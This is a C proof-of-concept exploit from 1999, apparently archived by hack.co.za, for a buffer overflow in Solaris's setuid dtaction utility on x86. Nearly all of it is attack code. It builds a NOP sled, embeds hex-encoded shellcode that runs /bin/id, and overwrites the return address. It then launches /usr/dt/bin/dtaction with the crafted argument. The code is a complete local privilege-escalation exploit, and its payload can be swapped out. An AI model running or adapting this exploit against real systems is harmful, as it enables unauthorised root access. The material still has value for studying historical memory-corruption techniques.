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- /*
- * dtaction_ov.c ( Solaris 7, 2.6, 2.5.1 )
- * Job de Haas
- * (c) ITSX bv 1999
- *
- * This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
- * It has only been tested on Solaris 7 x86
- * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
- *
- */
-
- #include <stdio.h>
-
- #include <stdlib.h>
- #include <string.h>
- #include <pwd.h>
-
- #define BUFLEN 998
-
- char exploit_code[] =
- "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
- "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
- "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
- "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
- "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
- "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
- "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
- "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
- "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
- "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
-
- main()
- {
- char *argp[6], *envp[3];
- char buf[2048];
- unsigned long *p;
- struct passwd *pw;
- int buflen;
-
- if ((pw = getpwuid(getuid())) == NULL)
- {
- perror("getpwuid");
- exit(1);
- }
-
- buflen = BUFLEN - strlen( pw->pw_name );
-
- memset(buf,0x90,buflen);
-
- strncpy( &buf[500], exploit_code, strlen(exploit_code));
-
- /* set some pointers to values that keep code running */
- p = (unsigned long *)&buf[buflen];
- *p++ = 0x37dc779b;
- *p++ = 0xdfaf6502;
- *p++ = 0x08051230;
- *p++ = 0x080479b8;
-
- /* the return address. */
- *p++ = 0x08047710;
- *p = 0;
-
- argp[0] = strdup("/usr/dt/bin/dtaction");
- argp[1] = strdup("-u");
- argp[2] = strdup(buf);
- argp[3] = strdup("Run");
- argp[4] = strdup("/usr/bin/id");
- argp[5] = NULL;
-
- if (!getenv("DISPLAY"))
- {
- printf("forgot to set DISPLAY\n");
- exit(1);
- }
-
- envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
- strcpy(envp[0],"DISPLAY=");
- strcat(envp[0],getenv("DISPLAY"));
- envp[1] = NULL;
-
- execve("/usr/dt/bin/dtaction",argp,envp);
-
- }
- /* www.hack.co.za [2000]*/